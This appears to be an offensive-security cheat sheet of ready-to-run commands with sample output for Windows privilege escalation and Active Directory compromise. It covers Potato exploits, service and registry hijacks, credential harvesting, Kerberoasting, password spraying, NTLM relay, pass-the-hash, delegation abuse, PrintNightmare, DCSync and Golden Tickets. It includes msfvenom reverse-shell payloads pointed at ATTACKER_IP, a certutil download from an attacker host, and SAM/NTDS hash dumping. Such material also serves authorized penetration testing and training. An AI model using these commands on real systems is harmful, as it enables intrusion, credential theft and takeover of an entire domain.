(From service account to SYSTEM in seconds)
GodPotato
Works on most Windows versions — Newer, more reliable
.\GodPotato-NET4.exe -cmd 'cmd /c whoami'
Example Output
.\GodPotato-NET4.exe -cmd 'cmd /c whoami'
[*] CombaseDisableUserDirectoryPatching
nt authority\system
JuicyPotato
Windows Server 2016/2019 — Needs valid CLSID
.\JuicyPotato.exe -l 1337 -p cmd.exe -a '/c C:\temp\rev.exe' -t *
Example Output
.\JuicyPotato.exe -l 1337 -p cmd.exe -a '/c C:\temp\rev.exe' -t *
[+] CreateProcessWithToken: OK
Attacker:
connect from 10.10.10.5
C:\> whoami
nt authority\system
SweetPotato
Combines multiple potato techniques — Try if others fail
.\SweetPotato.exe -e EfsRpc -p C:\temp\rev.exe
Example Output
.\SweetPotato.exe -e EfsRpc -p C:\temp\rev.exe
[+] Exploiting EfsRpc
[+] Got SYSTEM token
Attacker shell:
C:\> whoami
nt authority\system
Check for SeBackupPrivilege
Can read any file on system — Read SAM/SYSTEM hives, extract hashes
whoami /priv
Look for: SeBackupPrivilege
Example Output
whoami /priv
SeBackupPrivilege Enabled
This means you can READ ANY FILE on the system
Exploit: dump SAM and SYSTEM registry hives
reg save HKLM\SAM C:\temp\sam
reg save HKLM\SYSTEM C:\temp\system
(Then extract hashes with secretsdump)
Backup privilege abuse
Dump registry hives — Extract local admin hashes
reg save HKLM\SAM C:\temp\sam
reg save HKLM\SYSTEM C:\temp\system
impacket-secretsdump -sam sam -system system LOCAL
Example Output
Transfer SAM + SYSTEM to attacker:
impacket-secretsdump -sam sam -system system LOCAL
Administrator:500:aad3b435b...:31d6cfe0d...
Guest:501:aad3b435b...:31d6cfe0d...
Now pass-the-hash:
evil-winrm -i 10.10.10.5 -u Administrator -H 31d6cfe0d...
(Full admin access from backup privilege)
SERVICE MISCONFIGURATIONS
List all services
See all services — Look for non-default services
sc queryex type=service state=all
Get-Service
wmic service list brief
Example Output
sc queryex type=service state=all | findstr /i 'SERVICE_NAME\|DISPLAY_NAME\|STATE'
SERVICE_NAME: CustomSvc
DISPLAY_NAME: Custom Application
STATE: 4 RUNNING
(Find non-default services to investigate)
Unquoted service paths
Paths with spaces, no quotes — C:\Program Files\My App\svc.exe = hijack
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows"
Example Output
wmic service get name,pathname | findstr /v "C:\Windows"
CustomSvc C:\Program Files\My App\service.exe
Path has spaces + no quotes = hijackable
Place: C:\Program Files\My.exe
Restart service -> runs your exe as SYSTEM
Exploit unquoted path
Windows tries each space as path end — Restart service to trigger
If path: C:\Program Files\My App\service.exe
Place malicious exe at: C:\Program.exe
or: C:\Program Files\My.exe
Example Output
Path: C:\Program Files\My App\service.exe
msfvenom -p windows/x64/shell_reverse_tcp ... -f exe -o 'C:\Program Files\My.exe'
sc stop CustomSvc
sc start CustomSvc
Attacker:
C:\> whoami
nt authority\system
Weak service permissions
Can you modify service config? — Change binPath to your payload
accesschk.exe -uwcqv * /accepteula
or: sc qc <service_name>
Example Output
accesschk.exe -uwcqv 'Everyone' * /accepteula
RW CustomService
SERVICE_ALL_ACCESS
sc config CustomService binPath= 'C:\temp\rev.exe'
sc stop CustomService
sc start CustomService
(Shell as SYSTEM)
Modify service binary path
Point service to your payload — Runs as service account (often SYSTEM)
sc config <service> binPath= 'C:\temp\rev.exe'
sc stop <service>
sc start <service>
Example Output
sc config CustomSvc binPath= 'C:\temp\rev.exe'
[SC] ChangeServiceConfig SUCCESS
sc stop CustomSvc
sc start CustomSvc
Attacker:
C:\> whoami
nt authority\system
Writable service binary
Replace the actual binary — Overwrite with reverse shell
icacls 'C:\path\to\service.exe'
Look for: (F) or (M) for your user
Example Output
icacls C:\custom\svc.exe
BUILTIN\Users:(F) <- FULL CONTROL!
copy C:\temp\rev.exe C:\custom\svc.exe /Y
sc stop CustomSvc
sc start CustomSvc
(Your payload runs as SYSTEM)
DLL hijacking (services)
Service loads missing DLL — DLL runs as service user
Process Monitor: filter for NAME NOT FOUND on .dll
Place malicious DLL in search path
Example Output
Process Monitor filter: Result=NAME NOT FOUND, Path ends with .dll
CustomSvc.exe -> C:\custom\missing.dll NOT FOUND
msfvenom -p windows/x64/shell_reverse_tcp ... -f dll -o C:\custom\missing.dll
Restart service -> shell as SYSTEM
Service restart permissions
Need to trigger the service — Some need admin to restart
sc stop <service>
sc start <service>
or reboot if you can
Example Output
sc stop CustomSvc
[SC] Access denied
Try: shutdown /r /t 0
OR wait for scheduled restart
OR: sc config CustomSvc start=auto
(Service restarts after reboot)
Service Creation & Persistence
Create a service for SYSTEM shell
sc.exe create — If you have local admin but need SYSTEM
sc.exe create reverse binPath= "C:\Windows\Temp\shell.exe" start= auto
sc.exe start reverse
Modify existing service binary path
Change service to point to your payload
sc.exe config <service> binPath= "C:\Windows\Temp\shell.exe"
sc.exe stop <service>
sc.exe start <service>
Check service permissions
Which services can you modify
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "Everyone" *
# SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS = exploitable
Unquoted service paths
If service path has spaces and no quotes — Hijack with binary in parent directory
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows"
# Path: C:\Program Files\My App\service.exe
# Place payload at: C:\Program.exe or C:\Program Files\My.exe
DLL hijacking via service
Replace DLL loaded by service — Runs as service account
sc.exe qc <service>
icacls "C:\Program Files\Vulnerable App\"
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f dll -o hijack.dll
sc.exe stop <service> && sc.exe start <service>
REGISTRY & AUTOLOGON
AlwaysInstallElevated
Both must be 1 — Install MSI as SYSTEM
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Example Output
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
AlwaysInstallElevated REG_DWORD 0x1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
AlwaysInstallElevated REG_DWORD 0x1
BOTH must be 1 to exploit!
(If only one = not vulnerable)
Exploit AlwaysInstallElevated
Generate malicious MSI — Runs as SYSTEM
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f msi -o shell.msi
msiexec /quiet /qn /i C:\temp\shell.msi
Example Output
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 -f msi -o shell.msi
Transfer to target:
msiexec /quiet /qn /i C:\temp\shell.msi
Attacker nc -nlvp 443:
C:\Windows\system32> whoami
nt authority\system
(MSI installs as SYSTEM when both keys = 1)
AutoLogon credentials
Stored plaintext credentials — Auto-login configured
reg query 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' /v DefaultUserName
reg query 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' /v DefaultPassword
Example Output
reg query 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'
DefaultUserName REG_SZ administrator
DefaultPassword REG_SZ Admin@123!
(Plaintext admin credentials in registry)
Saved credentials
Cached credentials — Run commands as stored user
cmdkey /list
runas /savecred /user:admin cmd.exe
Example Output
cmdkey /list
Target: Domain:interactive=CORP\administrator
Type: Domain Password
User: CORP\administrator
runas /savecred /user:CORP\administrator cmd.exe
C:\> whoami
corp\administrator
Registry password search
Search registry for passwords — VNC, PuTTY, other apps store creds
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Example Output
reg query HKLM /f password /t REG_SZ /s
HKLM\SOFTWARE\VNC\Password REG_SZ 5A003B2F...
VNC password decrypt:
vncpwd.exe 5A003B2F...
Result: s3cr3t!
(VNC and other apps store creds in registry)
SAM/SYSTEM backup files
Backup registry hives — Extract hashes offline
dir C:\Windows\Repair\SAM
dir C:\Windows\System32\config\RegBack\
Example Output
dir C:\Windows\Repair\SAM
01/15/2020 SAM
01/15/2020 SYSTEM
copy C:\Windows\Repair\SAM C:\temp\
copy C:\Windows\Repair\SYSTEM C:\temp\
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Administrator:500:aad3b...:31d6cfe...
CREDENTIAL HUNTING
Search for passwords in files
Grep for password strings — Config files, notes, scripts
findstr /si "password" *.txt *.xml *.ini *.config *.cfg
findstr /si "password" C:\Users\*.*
Example Output
findstr /si "password" *.txt *.xml *.config
C:\inetpub\wwwroot\web.config: connectionString="...Password=DBp@ss123..."
C:\Users\admin\Desktop\notes.txt: WiFi password: CompanyWifi2024!
PowerShell history
Previous PS commands — May contain typed passwords
type C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Example Output
type ConsoleHost_history.txt
Invoke-Command -ComputerName DC01 -Credential $cred
$password = ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText
net user admin NewP@ss123 /domain
(Passwords in PS history)
IIS web.config
Database connection strings — SQL credentials
type C:\inetpub\wwwroot\web.config
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
Example Output
type C:\inetpub\wwwroot\web.config
<connectionStrings>
<add connectionString="Server=localhost;Database=webapp;User Id=sa;Password=SQLp@ss2024!"/>
</connectionStrings>
Unattend/sysprep files
Deployment passwords — Often base64 encoded
type C:\unattend.xml
type C:\Windows\Panther\Unattend.xml
type C:\Windows\system32\sysprep\Unattend.xml
Example Output
type C:\Windows\Panther\Unattend.xml
<AutoLogon>
<Password>
<Value>QWRtaW5AMTIz</Value>
</Password>
<Username>Administrator</Username>
</AutoLogon>
base64 -d: Admin@123
WiFi passwords
Stored WiFi credentials — May match user passwords
netsh wlan show profiles
netsh wlan show profile name=<SSID> key=clear
Example Output
netsh wlan show profiles
All User Profile : CorpWiFi
netsh wlan show profile name=CorpWiFi key=clear
Key Content: CompanyWiFi2024!
(People often reuse WiFi password for accounts)
PuTTY saved sessions
Stored SSH credentials — Proxy passwords
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s
Example Output
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s
HostName: 172.16.1.10
UserName: admin
ProxyPassword: Pr0xyP@ss!
(Saved SSH session credentials)
Credential Manager
Windows Credential Manager — Stored creds for services
cmdkey /list
rundll32.exe keymgr.dll,KRShowKeyMgr
Example Output
cmdkey /list
Target: Domain:interactive=CORP\administrator
Type: Domain Password
User: CORP\administrator
(Saved domain admin creds! Use with runas /savecred)
DPAPI master keys
Encrypted credential storage — Decrypt with mimikatz if admin
dir C:\Users\<user>\AppData\Roaming\Microsoft\Protect\
Example Output
dir C:\Users\admin\AppData\Roaming\Microsoft\Protect\
S-1-5-21-...
(Master key files found)
With admin access:
mimikatz# dpapi::masterkey /in:masterkey /rpc
(Decrypt Chrome passwords, saved creds)
SCHEDULED TASKS
List scheduled tasks
All scheduled tasks — Tasks running as SYSTEM
schtasks /query /fo LIST /v
Get-ScheduledTask
Example Output
schtasks /query /fo LIST /v | findstr /i 'taskname\|run as\|task to run'
TaskName: \CustomBackup
Run As User: SYSTEM
Task To Run: C:\Scripts\backup.bat
(Runs as SYSTEM - check if script is writable)
Writable task scripts
Can you modify the script? — Runs as task owner
Check permissions on scripts referenced by tasks
icacls <script_path>
Example Output
schtasks /query /fo LIST /v | findstr /i 'task\|run\|author'
TaskName: \Backup
Run As User: SYSTEM
Task To Run: C:\Scripts\backup.bat
icacls C:\Scripts\backup.bat
BUILTIN\Users:(F) <- FULL CONTROL!
(Modify script, wait for execution)
Task binary replacement
Replace with reverse shell — Waits for next scheduled run
If task runs a binary you can overwrite
Example Output
Task runs: C:\Scripts\app.exe
icacls C:\Scripts\app.exe -> Users:(F)
copy C:\temp\rev.exe C:\Scripts\app.exe /Y
(Wait for scheduled run or trigger manually)
KERNEL EXPLOITS
windows-exploit-suggester
Match OS/patches to exploits — Run on attacker machine
systeminfo > sysinfo.txt
python3 wes.py sysinfo.txt
Example Output
python3 wes.py sysinfo.txt
[E] MS17-010: EternalBlue
Affected: Windows Server 2016
KB: KB4013389 (NOT installed)
[E] CVE-2021-1732: Win32k Elevation
Affected: Windows 10/Server 2019
[M] CVE-2020-0787: BITS Elevation
Affected: All Windows versions
(Cross-reference with installed hotfixes)
Check for common CVEs
Quick manual check — Based on OS version
PrintNightmare (CVE-2021-34527)
HiveNightmare (CVE-2021-36934)
EternalBlue (MS17-010)
MS16-032 (Secondary Logon)
Example Output
PrintNightmare (CVE-2021-1675):
Get-Service Spooler -> Running = potentially vulnerable
HiveNightmare (CVE-2021-36934):
icacls C:\Windows\System32\config\SAM -> BUILTIN\Users:(I)(RX) = vulnerable!
EternalBlue (MS17-010):
nmap --script smb-vuln-ms17-010 -p 445 target
(Check each based on OS version)
Compile and transfer exploit
Match architecture — x86 vs x64 matters
Cross-compile or use pre-compiled binaries from GitHub
Example Output
On attacker:
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe
python3 -m http.server 80
On target:
certutil -urlcache -split -f http://ATTACKER/exploit.exe C:\temp\exploit.exe
C:\temp\exploit.exe
(Cross-compile Windows exploits on Linux)
🏢 Active Directory
Domain enumeration, Kerberos attacks, lateral movement, and domain escalation.
- AD ENUMERATION (FROM FOOTHOLD)
- KERBEROASTING
- AS-REP ROASTING
- PASSWORD SPRAYING
- LATERAL MOVEMENT
- DOMAIN ESCALATION TO DA
- POST-EXPLOITATION (AFTER DA)
AD ENUMERATION (FROM FOOTHOLD)
Identify domain
Confirm you're in a domain — Starting point for AD attacks
systeminfo | findstr /B Domain
echo %userdomain%
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Example Output
systeminfo | findstr Domain
Domain: corp.local
Logon Server: \\DC01
echo %userdomain%
CORP
Domain controller IP
Identify the DC — Primary target
nltest /dclist:<domain>
nslookup -type=srv _ldap._tcp.dc._msdcs.<domain>
Example Output
nltest /dclist:corp.local
DC01.corp.local [PDC] [DS] Site: Default
Address: \\10.10.10.5
(DC IP identified for targeting)
Domain users
All domain users — Build target list
net user /domain
Get-ADUser -Filter * | Select SamAccountName
Example Output
net user /domain
Administrator Guest krbtgt
john.smith svc_sql admin.backup
svc_web jane.doe helpdesk
Domain groups
Groups and membership — Who is Domain Admin?
net group /domain
net group 'Domain Admins' /domain
Example Output
net group 'Domain Admins' /domain
Members:
Administrator john.smith svc_admin
(3 Domain Admins - these are our targets)
Domain password policy
Lockout threshold, complexity — Guides password spray rate
net accounts /domain
Example Output
net accounts /domain
Lockout threshold: 5
Lockout duration: 30 min
Minimum password length: 7
(5 attempts before lockout, spray carefully)
BloodHound collection
Graph AD relationships — Visual attack path finder
.\SharpHound.exe -c All
or: bloodhound-python -d <domain> -u <user> -p <pass> -ns <DC_IP> -c All
Example Output
.\SharpHound.exe -c All
Initializing SharpHound
Resolved: corp.local
Collected 847 objects
Zip: 20260224_BloodHound.zip
(Upload zip to BloodHound GUI)
BloodHound analysis
Query pre-built attack paths — Shows exactly how to escalate
Upload .zip to BloodHound GUI
Run: Shortest Path to Domain Admins
Run: Find AS-REP Roastable Users
Run: Find Kerberoastable Users
Example Output
Upload zip -> Queries:
'Shortest Path to Domain Admins':
john -> GenericAll -> svc_admin -> Domain Admins
'Kerberoastable Users':
svc_sql (SPN: MSSQLSvc/DB01)
(Visual attack path to DA)
Enum SPNs
Service accounts with SPNs — Kerberoast targets
Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties ServicePrincipalName
or: impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <DC_IP>
Example Output
impacket-GetUserSPNs corp.local/john:Password1 -dc-ip 10.10.10.5
SPN Name
MSSQLSvc/DB01:1433 svc_sql
HTTP/WEB01 svc_web
(These accounts are Kerberoastable)
Enum ACLs
Who has rights over what — GenericAll, WriteDACL, etc = takeover
Find-InterestingDomainAcl (PowerView)
or: BloodHound edge analysis
Example Output
PowerView:
Find-InterestingDomainAcl
john.smith has GenericAll over svc_admin
IT-Support group has WriteDACL over Domain Admins
(ACL abuse = privilege escalation path)
Enum computers
All domain computers — Find targets, old OS versions
Get-ADComputer -Filter * | Select Name,OperatingSystem
Example Output
Get-ADComputer -Filter * | Select Name,OperatingSystem
DC01 Windows Server 2019
WEB01 Windows Server 2019
DB01 Windows Server 2016
WIN10-1 Windows 10 Pro
(DB01 on 2016 = more exploit options)
Shares across domain
Enum all SMB shares — Find sensitive files
crackmapexec smb <subnet>/24 --shares -u <user> -p <pass>
Example Output
crackmapexec smb 10.10.10.0/24 --shares -u john -p Password1
10.10.10.5 DC01 Backups(READ) SYSVOL(READ)
10.10.10.20 WEB01 wwwroot(READ,WRITE)
10.10.10.21 DB01 SQLBackups(READ)
(WRITE on wwwroot = upload webshell)
BloodHound
Collect data with SharpHound
Run on domain-joined machine — Generates ZIP for BloodHound
.\SharpHound.exe -c All
# Or PowerShell:
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp
Collect with BloodHound.py (from Linux)
Remote collection without touching target — Uses LDAP
bloodhound-python -u user -p 'password' -d domain.local -ns $DC_IP -c all
Start BloodHound
Launch Neo4j and BloodHound GUI — Import collected data
sudo neo4j console &
bloodhound &
# Drag and drop the ZIP file into BloodHound
Key queries to run
Find attack paths — These reveal the fastest routes to DA
- Find all Domain Admins
- Shortest Paths to Domain Admins from Owned Principals
- Find Kerberoastable Users with Most Privileges
- Find AS-REP Roastable Users
- Shortest Paths to High Value Targets
- Find Computers with Unconstrained Delegation
- Find Principals with DCSync Rights
Mark owned users
Right-click users you've compromised — BloodHound recalculates paths
Right-click user > Mark User as Owned
Then run: "Shortest Paths to Domain Admins from Owned Principals"
KERBEROASTING
Request service tickets
Get TGS tickets for SPNs — Any domain user can do this
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <DC_IP> -request -outputfile kerberoast.txt
Example Output
impacket-GetUserSPNs corp.local/john:Password1 -dc-ip 10.10.10.5 -request
$krb5tgs$23$*svc_sql$CORP.LOCAL$...
hashcat -m 13100 hash.txt rockyou.txt
svc_sql:SQLServiceP@ss!
(Kerberoasted service account password)
Kerberoast with Rubeus
From Windows foothold — Alternative to impacket
.\Rubeus.exe kerberoast /outfile:kerberoast.txt
Example Output
.\Rubeus.exe kerberoast /outfile:hashes.txt
[*] Found 2 Kerberoastable users
[*] SPN: MSSQLSvc/DB01:1433 - svc_sql
[*] Hash written to hashes.txt
Crack TGS hashes
Offline cracking — Service account passwords
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
Example Output
hashcat -m 13100 hashes.txt rockyou.txt
$krb5tgs$23$*svc_sql*:SQLServiceP@ss!
Status: Cracked
Hash.Target: svc_sql
Password: SQLServiceP@ss!
Use cracked password
Access with service account — Often has high privileges
crackmapexec smb <DC_IP> -u <svc_account> -p <cracked_pass>
evil-winrm if WinRM is open
Example Output
crackmapexec smb 10.10.10.5 -u svc_sql -p 'SQLServiceP@ss!'
[+] corp.local\svc_sql:SQLServiceP@ss! (Pwn3d!)
evil-winrm -i 10.10.10.5 -u svc_sql -p 'SQLServiceP@ss!'
*Evil-WinRM* PS> whoami
corp\svc_sql
AS-REP ROASTING
Find AS-REP roastable users
Users with PreAuth disabled — Don't need any credentials for this
impacket-GetNPUsers <domain>/ -usersfile users.txt -no-pass -dc-ip <DC_IP> -outputfile asrep.txt
Example Output
impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.5
$krb5asrep$23$svc_backup@CORP.LOCAL:...
hashcat -m 18200 hash.txt rockyou.txt
svc_backup:Backup2024!
(No creds needed to get the hash!)
AS-REP roast with Rubeus
From Windows foothold — Alternative to impacket
.\Rubeus.exe asreproast /outfile:asrep.txt
Example Output
.\Rubeus.exe asreproast /outfile:asrep.txt
[*] Found 1 AS-REP roastable user
[*] User: svc_backup (no preauth)
[*] Hash written to asrep.txt
Crack AS-REP hashes
Offline cracking — User password
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
Example Output
hashcat -m 18200 asrep.txt rockyou.txt
$krb5asrep$23$svc_backup@CORP.LOCAL:Backup2024!
Cracked! svc_backup:Backup2024!
PASSWORD SPRAYING
Spray with crackmapexec
One password, all users — Check lockout policy first
crackmapexec smb <DC_IP> -u users.txt -p 'Password1' --continue-on-success
Example Output
crackmapexec smb 10.10.10.5 -u users.txt -p 'Winter2025'
SMB 10.10.10.5 445 DC01 [-] corp\administrator:Winter2025
SMB 10.10.10.5 445 DC01 [-] corp\john.smith:Winter2025
SMB 10.10.10.5 445 DC01 [+] corp\jane.doe:Winter2025
(FOUND VALID CREDS)
Spray with kerbrute
Kerberos-based spray — Stealthier than SMB
kerbrute passwordspray -d <domain> users.txt 'Password1' --dc <DC_IP>
Example Output
kerbrute passwordspray -d corp.local users.txt 'Winter2025' --dc 10.10.10.5
[+] VALID LOGIN: jane.doe@corp.local:Winter2025
(Kerberos-based, doesn't generate Windows logon events)
Common passwords to try
Predictable patterns — Match complexity requirements
Password1, Welcome1, <Season><Year> (Winter2025), <Company>1, Password123, Changeme1
Example Output
Password1 <- most common
Welcome1 <- second most common
Winter2025 <- current season + year
Corp2025! <- company name + year
Changeme1 <- default reset password
(Match password policy: 7+ chars, uppercase, number)
NTLM Relay & Responder
Capture hashes with Responder
Poison LLMNR/NBT-NS/mDNS — Capture NTLMv2 hashes on the network
sudo responder -I eth0 -dwPv
Example Output
[SMB] NTLMv2-SSP Client : 10.10.10.50
[SMB] NTLMv2-SSP Username : DOMAIN\jsmith
[SMB] NTLMv2-SSP Hash : jsmith::DOMAIN:1122334455667788:ABC123...
Crack captured NTLMv2 hashes
Hashcat mode 5600
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
NTLM relay with ntlmrelayx
Relay captured auth to another host — Don't crack, relay instead
# Disable SMB and HTTP in /etc/responder/Responder.conf
# SMB = Off, HTTP = Off
impacket-ntlmrelayx -tf targets.txt -smb2support
# Or execute command:
impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"
Find hosts without SMB signing
Required for relay attacks — These are valid relay targets
crackmapexec smb $SUBNET/24 --gen-relay-list relay_targets.txt
# "Message signing enabled but not required" = relay target
Force authentication (coercion)
Trigger authentication to your Responder
# PetitPotam (unauthenticated):
python3 PetitPotam.py $LHOST $DC_IP
# PrinterBug / SpoolSample:
python3 printerbug.py domain/user:password@$TARGET $LHOST
LATERAL MOVEMENT
Pass the hash (crackmapexec)
Authenticate with NTLM hash — No password needed
crackmapexec smb <target> -u <user> -H <ntlm_hash>
Example Output
crackmapexec smb 10.10.10.0/24 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0'
SMB 10.10.10.5 DC01 [+] Pwn3d!
SMB 10.10.10.20 WEB01 [+] Pwn3d!
SMB 10.10.10.21 DB01 [+] Pwn3d!
SMB 10.10.10.22 FILE01 [-] STATUS_LOGON_FAILURE
(Spray hash across entire domain subnet)
Pass the hash (evil-winrm)
Interactive shell with hash — If WinRM is open (5985)
evil-winrm -i <target> -u <user> -H <ntlm_hash>
Example Output
evil-winrm -i 10.10.10.5 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0'
*Evil-WinRM* PS C:\Users\Administrator> whoami
corp\administrator
*Evil-WinRM* PS> hostname
DC01
(Interactive PowerShell on the DC with hash)
Pass the hash (psexec)
Get SYSTEM shell — Writes to ADMIN$ share
impacket-psexec <domain>/<user>@<target> -hashes :<ntlm_hash>
Example Output
impacket-psexec corp.local/administrator@10.10.10.5 -hashes :31d6cfe0d16ae931b...
[*] Requesting shares on 10.10.10.5
[*] Found writable share ADMIN$
C:\Windows\system32> whoami
nt authority\system
Pass the hash (wmiexec)
Semi-interactive shell — Stealthier than psexec
impacket-wmiexec <domain>/<user>@<target> -hashes :<ntlm_hash>
Example Output
impacket-wmiexec corp.local/administrator@10.10.10.5 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
[*] SMBv3.0 dialect used
C:\> whoami
corp\administrator
(Stealthier than psexec - uses WMI, no service created)
RDP with hash
GUI access with hash — Restricted Admin mode must be on
xfreerdp /u:<user> /pth:<ntlm_hash> /v:<target>
Example Output
xfreerdp /u:admin /pth:31d6cfe0d... /v:10.10.10.5
[INFO] Connected to 10.10.10.5
(Full GUI desktop, no password needed)
Note: Restricted Admin must be enabled on target
Check admin access on subnet
Which machines can you admin? — Map your access
crackmapexec smb <subnet>/24 -u <user> -p <pass> --local-auth
Example Output
crackmapexec smb 10.10.10.0/24 -u john -p Password1
SMB 10.10.10.5 445 DC01 [+] corp\john (Pwn3d!)
SMB 10.10.10.20 445 WEB01 [+] corp\john (Pwn3d!)
SMB 10.10.10.21 445 DB01 [-] corp\john
(Admin on DC01 and WEB01)
Spray cracked creds everywhere
Password reuse across machines — People reuse passwords
crackmapexec smb <subnet>/24 -u <user> -p <pass>
Example Output
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'SQLServiceP@ss!'
10.10.10.5 [+] (Pwn3d!)
10.10.10.20 [+] (Pwn3d!)
10.10.10.21 [+] (Pwn3d!)
(Service account has admin on multiple servers)
Delegation Attacks
Find unconstrained delegation
Machines that store user TGTs — Compromise = capture tickets
# BloodHound: "Find Computers with Unconstrained Delegation"
# PowerView:
Get-DomainComputer -Unconstrained | Select-Object dnshostname
Exploit unconstrained delegation
Coerce DC to authenticate, capture TGT, use it
# 1. Monitor for TGTs:
.\Rubeus.exe monitor /interval:5
# 2. Coerce DC:
.\SpoolSample.exe $DC_IP $COMPROMISED_HOST
# 3. Use captured ticket:
.\Rubeus.exe ptt /ticket:<base64_ticket>
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
Find constrained delegation
Services allowed to delegate to specific SPNs
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname, msds-allowedtodelegateto
Exploit constrained delegation
S4U2Self + S4U2Proxy — Request ticket as any user
# Rubeus:
.\Rubeus.exe s4u /user:svc_sql /rc4:<hash> /impersonateuser:administrator /msdsspn:cifs/target.domain.local /ptt
# Impacket:
impacket-getST -spn cifs/target.domain.local -impersonate administrator domain.local/svc_sql:'Password1'
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass target.domain.local
Resource-Based Constrained Delegation (RBCD)
If you can write msDS-AllowedToActOnBehalfOfOtherIdentity
# 1. Create computer account:
impacket-addcomputer -computer-name FAKE01 -computer-pass 'Password1' domain.local/user:'password'
# 2. Set RBCD:
impacket-rbcd -delegate-to TARGET$ -delegate-from FAKE01$ -action write domain.local/user:'password'
# 3. Get ticket:
impacket-getST -spn cifs/target.domain.local -impersonate administrator domain.local/FAKE01$:'Password1'
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass target.domain.local
PrintNightmare (CVE-2021-1675)
Check if vulnerable
Print Spooler service running — Most Windows hosts are vulnerable
rpcdump.py $IP | grep -i spooler
crackmapexec smb $IP -u user -p 'password' -M printnightmare
Local Privilege Escalation
Add malicious DLL via Print Spooler — Escalate to SYSTEM
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f dll -o evil.dll
impacket-smbserver share $(pwd) -smb2support
python3 CVE-2021-1675.py domain.local/user:'password'@$IP '\\$LHOST\share\evil.dll'
Remote Code Execution
Exploit remotely via Print Spooler
python3 CVE-2021-1675.py domain.local/user:'password'@$IP '\\$LHOST\share\evil.dll'
# Or from existing shell:
.\SharpPrintNightmare.exe '\\$LHOST\share\evil.dll'
DOMAIN ESCALATION TO DA
DCSync attack
Dump all domain hashes — Need Replicating Directory Changes rights
impacket-secretsdump <domain>/<user>:<pass>@<DC_IP>
or: mimikatz: lsadump::dcsync /domain:<domain> /user:Administrator
Example Output
impacket-secretsdump corp.local/admin:P@ss@10.10.10.5
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b...:31d6cfe...
krbtgt:502:aad3b...:f3bc61...
john.smith:1001:aad3b...:8846f7...
(ALL DOMAIN HASHES = FULL COMPROMISE)
Dump NTDS.dit
All domain user hashes — Full domain compromise
impacket-secretsdump <domain>/<user>:<pass>@<DC_IP> -just-dc-ntlm
Example Output
impacket-secretsdump corp.local/admin:P@ss@10.10.10.5 -just-dc-ntlm
[*] Dumping Domain Credentials
Administrator:500:aad3b...:31d6cfe...
krbtgt:502:aad3b...:f3bc61...
(Every single domain account hash)
Golden Ticket
Forge TGT with krbtgt hash — Persistent domain access
mimikatz: kerberos::golden /user:Administrator /domain:<domain> /sid:<domain_SID> /krbtgt:<krbtgt_hash> /ptt
Example Output
mimikatz# kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:f3bc61... /ptt
[+] Ticket injected
C:\> dir \\DC01\C$
(Access anything, forever, even after password changes)
Constrained delegation abuse
Impersonate any user — If user has delegation rights
impacket-getST -spn <target_SPN> -impersonate Administrator <domain>/<user>:<pass>
export KRB5CCNAME=Administrator.ccache
impacket-psexec <domain>/Administrator@<target> -k -no-pass
Example Output
impacket-getST -spn cifs/DC01 -impersonate Administrator corp.local/svc_web:P@ss
[*] Got TGS for Administrator@corp.local
export KRB5CCNAME=Administrator.ccache
impacket-psexec corp.local/Administrator@DC01 -k -no-pass
# whoami
nt authority\system on DC
GenericAll / WriteDACL abuse
Reset passwords, add to groups — Check BloodHound for these edges
If user has GenericAll on another user:
net rpc password <target_user> 'NewPass123' -U <domain>/<user>%<pass> -S <DC_IP>
Example Output
BloodHound shows: john.smith --GenericAll--> svc_admin
net rpc password svc_admin 'NewPass123' -U corp/john%Password1 -S 10.10.10.5
